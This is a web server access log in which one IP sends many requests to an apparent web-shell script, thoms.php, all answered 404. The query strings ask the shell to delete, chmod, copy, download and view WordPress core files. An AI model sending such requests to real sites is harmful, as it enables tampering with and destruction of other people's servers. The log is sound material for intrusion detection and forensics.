45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:44 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?dl=script-modules.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?del=shortcodes.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=shortcodes.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?dl=speculative-loading.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=user.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=blocks.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?del=class-wp-embed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=class-wp-tax-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-tax-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=json-schema.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=json-schema.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?del=style-engine.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:45 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?del=feed-rdf.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=class-wp-application-passwords.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-application-passwords.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=ID3&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=capabilities.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=interactivity-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes%2FText HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?dl=class-walker-category.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:46 -0400] "GET /thoms.php?chmod=rest-api.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?del=template-loader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?chmod=rest-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?chmod=comment.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdefault-constants.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdefault-constants.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdeprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fdeprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?del=ms-functions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwidgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fwidgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?dl=class-wp-network.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?del=class-wp-role.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:47 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?chmod=class-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-phpmailer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fformatting.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fformatting.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?del=plugin.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?dl=post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?del=atomlib.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?del=class-smtp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?del=deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:48 -0400] "GET /thoms.php?dl=registration.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
